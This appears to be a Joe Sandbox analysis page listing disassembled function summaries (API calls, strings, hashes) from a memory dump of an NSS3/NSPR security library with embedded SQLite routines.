Function 6C6B7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6B7CE0

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B7D36
PR_Realloc.NSS3(?,00000080), ref: 6C6B7D6D
PR_GetCurrentThread.NSS3 ref: 6C6B7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C6B7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B7DD8
malloc.MOZGLUE(00000080), ref: 6C6B7DF8
PR_GetCurrentThread.NSS3 ref: 6C6B7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C6B7DF0
:%s:%d:0x%lx, xrefs: 6C6B7DB9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 0fcdcbe17847347c489f8f3640515f5496f504f50c3e95912245e7363a60fc16
Instruction ID: 206e739f594a1d45cd942780e2047a26ca33304f5e899cc9cdb18275a9904406
Opcode Fuzzy Hash: 0fcdcbe17847347c489f8f3640515f5496f504f50c3e95912245e7363a60fc16
Instruction Fuzzy Hash: 0341C6B15002059FDB04CF29CC819AB37F6FF85358B25456CE819ABB52D731F861CBA9

Function 6C6B7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C6B7E46

Part of subcall function 6C591240: TlsGetValue.KERNEL32(00000040,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591267
Part of subcall function 6C591240: EnterCriticalSection.KERNEL32(?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C59127C
Part of subcall function 6C591240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591291
Part of subcall function 6C591240: PR_Unlock.NSS3(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C5912A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C6B7EAF
PR_ImportFile.NSS3(?), ref: 6C6B7ECF
PR_GetCurrentThread.NSS3 ref: 6C6B7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C6B7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C6B7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C6B7F15

Strings

%d:0x%lx, xrefs: 6C6B7EA9
NSPR_INHERIT_FDS, xrefs: 6C6B7E41

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: dd6ba46e4331501657e15c255324926077e320436b59309e462b49fe30f04f22
Instruction ID: 441c716e2a1cb2c9e07780e3bee7b6852e6db605da67cd2558da8664b747ac2f
Opcode Fuzzy Hash: dd6ba46e4331501657e15c255324926077e320436b59309e462b49fe30f04f22
Instruction Fuzzy Hash: 23313770904119DBDB009B69C840AEBB7A9FF86348F100565E816B7A11E7319D27C7AE

Function 6C5C4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5C4E90
EnterCriticalSection.KERNEL32 ref: 6C5C4EA9
TlsGetValue.KERNEL32 ref: 6C5C4EC6
EnterCriticalSection.KERNEL32 ref: 6C5C4EDF
PL_HashTableLookup.NSS3 ref: 6C5C4EF8
PR_Unlock.NSS3 ref: 6C5C4F05
PR_Now.NSS3 ref: 6C5C4F13
PR_Unlock.NSS3 ref: 6C5C4F3A

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

Strings

bU\l, xrefs: 6C5C4E5C
bU\l, xrefs: 6C5C4F3F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU\l$bU\l
API String ID: 326028414-2399824368
Opcode ID: 37e7a7b1da29b3e1b9c913d7c9be8f150bfac9585a4013e2de5a61ed26d41e17
Instruction ID: 0d245ed581de3d653e54e9648ab03684f1d420605c2ce309e8102ceb60c8cedb
Opcode Fuzzy Hash: 37e7a7b1da29b3e1b9c913d7c9be8f150bfac9585a4013e2de5a61ed26d41e17
Instruction Fuzzy Hash: 23415BB4A00605DFCB00EF79D4848AABBF4FF49314F018969EC599B711EB30E855CB96

Function 6C5D6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C5D6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D6CA3

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C5D6CD5

Strings

nkl, xrefs: 6C5D6CF4, 6C5D6D1F
C_DigestInit, xrefs: 6C5D6C61
hSession = 0x%x, xrefs: 6C5D6C7E, 6C5D6C8E
(CK_INVALID_HANDLE), xrefs: 6C5D6C9C
pMechanism = 0x%p, xrefs: 6C5D6CD0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nkl
API String ID: 1003633598-4246847897
Opcode ID: d5922d32dd730da651241e2e5a34b01700353a1f52098e24de288c02d9ef47cc
Instruction ID: 6daed0beb4cfc4cbc21e8f59781c13e34581a465f04744a727de08546de9d584
Opcode Fuzzy Hash: d5922d32dd730da651241e2e5a34b01700353a1f52098e24de288c02d9ef47cc
Instruction Fuzzy Hash: F42139B17003049BD700AF59ED48B4A37B5EB83319F464439E409E7B12DF30A809CB9E

Function 6C5D9DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C5D9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D9E33

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C5D9E65

Strings

nkl, xrefs: 6C5D9E7D, 6C5D9EA8
hSession = 0x%x, xrefs: 6C5D9E0E, 6C5D9E1E
(CK_INVALID_HANDLE), xrefs: 6C5D9E2C
flags = 0x%x, xrefs: 6C5D9E60
C_SessionCancel, xrefs: 6C5D9DF1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nkl
API String ID: 1003633598-1309049317
Opcode ID: c3f2e0757cfe7dcd443ba566ce234995b40433c103b1f7d6fc32bef6bea0bffe
Instruction ID: 58a19d5dda0f28d2670421bdc1e3f4be6017b6f998b408556a9907706645f594
Opcode Fuzzy Hash: c3f2e0757cfe7dcd443ba566ce234995b40433c103b1f7d6fc32bef6bea0bffe
Instruction Fuzzy Hash: F721B4B2701249AFE7009F58DD98B6A37B5EB8231DF454439E409A7711DF34AC48CBAA

Function 6C5EECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C5EDE64), ref: 6C5EED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5EED22

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

PL_FreeArenaPool.NSS3(?), ref: 6C5EED4A
PL_FinishArenaPool.NSS3(?), ref: 6C5EED6B
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5EED38

Part of subcall function 6C524C70: TlsGetValue.KERNEL32(?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524C97
Part of subcall function 6C524C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CB0
Part of subcall function 6C524C70: PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C5EED52
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5EED83
PL_FreeArenaPool.NSS3(?), ref: 6C5EED95
PL_FinishArenaPool.NSS3(?), ref: 6C5EED9D

Part of subcall function 6C6064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C60127C,00000000,00000000,00000000), ref: 6C60650E

Strings

security, xrefs: 6C5EED06

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 21df512ff3fbce7d414d04f3df40d987f7d2ff82ff66dc1732aba9e9a4047c91
Instruction ID: bed7850698839cccbf84e4c95ee19dccf11d1de2fa06473aa9bbf0f722b13900
Opcode Fuzzy Hash: 21df512ff3fbce7d414d04f3df40d987f7d2ff82ff66dc1732aba9e9a4047c91
Instruction Fuzzy Hash: 9B116DB2B00204A7D7149725AE41BBB7278AF4670CF05093CEC5472E41FB64A54CCADF

Function 6C6B0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C592357), ref: 6C6B0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C592357), ref: 6C6B0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6B0EE6

Part of subcall function 6C6B09D0: PR_Now.NSS3 ref: 6C6B0A22
Part of subcall function 6C6B09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6B0A35
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6B0A66
Part of subcall function 6C6B09D0: PR_GetCurrentThread.NSS3 ref: 6C6B0A70
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6B0A9D
Part of subcall function 6C6B09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6B0AC8
Part of subcall function 6C6B09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6B0AE8
Part of subcall function 6C6B09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6B0B19
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6B0B48
Part of subcall function 6C6B09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6B0C76
Part of subcall function 6C6B09D0: PR_LogFlush.NSS3 ref: 6C6B0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6B0EFA

Part of subcall function 6C59AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C59AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C6B0ED9, 6C6B0EE5, 6C6B0F06, 6C6B0F0B
Aborting, xrefs: 6C6B0EB3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 31fca934aae30f04981ae55b5043bacff35ffa3a922d8363a1ecba9a424b86e6
Instruction ID: 80ca8d378cd9703bbecb067c93fd9ac72598431f862cb7ff7a1bd3fdb318a77c
Opcode Fuzzy Hash: 31fca934aae30f04981ae55b5043bacff35ffa3a922d8363a1ecba9a424b86e6
Instruction Fuzzy Hash: C0F0A4F59001187BEB107B61AC89C9F3E2EDF86264F004424FD1A56602DA35ED2596BB

Function 6C614DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C614DCB

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C614DE1

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C614DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C614E59

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6D300C,00000000), ref: 6C614EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C614EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C614F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C61521A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 1edff58849d46e50cc132e149d58ef805e9caf9276fb1d9d780c74675a1e9034
Instruction ID: 98d5ab9b9c3083a57557667e3b62fb9099563a5d650dea4f69acfec6918eccd2
Opcode Fuzzy Hash: 1edff58849d46e50cc132e149d58ef805e9caf9276fb1d9d780c74675a1e9034
Instruction Fuzzy Hash: ECF1AD71E08209CFDB04CF59D8407ADB7B2FF8431AF254129E815ABB80E775E982CB94

Function 6C5A4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C6F0148,?,6C5B6FEC), ref: 6C5A502A
PR_NewLock.NSS3(00000001,00000000,6C6F0148,?,6C5B6FEC), ref: 6C5A5034
PL_NewHashTable.NSS3(00000000,6C5FFE80,6C5FFD30,6C64C350,00000000,00000000,00000001,00000000,6C6F0148,?,6C5B6FEC), ref: 6C5A5055
PL_NewHashTable.NSS3(00000000,6C5FFE80,6C5FFD30,6C64C350,00000000,00000000,?,00000001,00000000,6C6F0148,?,6C5B6FEC), ref: 6C5A506D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 0905bc6132a75e368a81ce5681967ec99df18381044d16ede117fc759c2d6e12
Instruction ID: 7d64ced330b4efaac88f45c7db2918252ea551067d36a7f5737e9bd9556c0c51
Opcode Fuzzy Hash: 0905bc6132a75e368a81ce5681967ec99df18381044d16ede117fc759c2d6e12
Instruction Fuzzy Hash: F431B3F2B016109BEB109BA79C8CB5B37B8AB27388F614139EA15C3A41DBB59405CBD1

Function 6C542E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C542F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C542FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C543005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5430EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C543131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C543178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C543022, 6C543156, 6C543162, 6C54318A, 6C543196, 6C5431A2, 6C5431AE, 6C5431BA, 6C5431C6
database corruption, xrefs: 6C54316C
%s at line %d of [%.10s], xrefs: 6C543171

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 840afea39ff151903180a42e77e06d82fff863a00575de3cf615947ef014faf1
Instruction ID: 227af2b551de55a055aa907158348e132086744ecdff750bbcbfcfef257a0439
Opcode Fuzzy Hash: 840afea39ff151903180a42e77e06d82fff863a00575de3cf615947ef014faf1
Instruction Fuzzy Hash: A3B1AE70E05219DBDB08CF9DCC85AEEB7B1BF48304F14846AE849B7B51D774A942CBA4

Function 6C592D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C592D69

Strings

winSeekFile, xrefs: 6C592E9C
winUnmapfile2, xrefs: 6C592F7F
kl, xrefs: 6C592DD0
winTruncate1, xrefs: 6C592EBE
@kl, xrefs: 6C592E24
Pkl, xrefs: 6C592E74, 6C592EC5, 6C592F32, 6C592F5C
winTruncate2, xrefs: 6C592EF8
winUnmapfile1, xrefs: 6C592F55

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: __allrem
String ID: @kl$Pkl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$kl
API String ID: 2933888876-1118074720
Opcode ID: 621cea46661fa95a5d4e390643d30bfa0668c6eb551038a1ea539d7ea98f3291
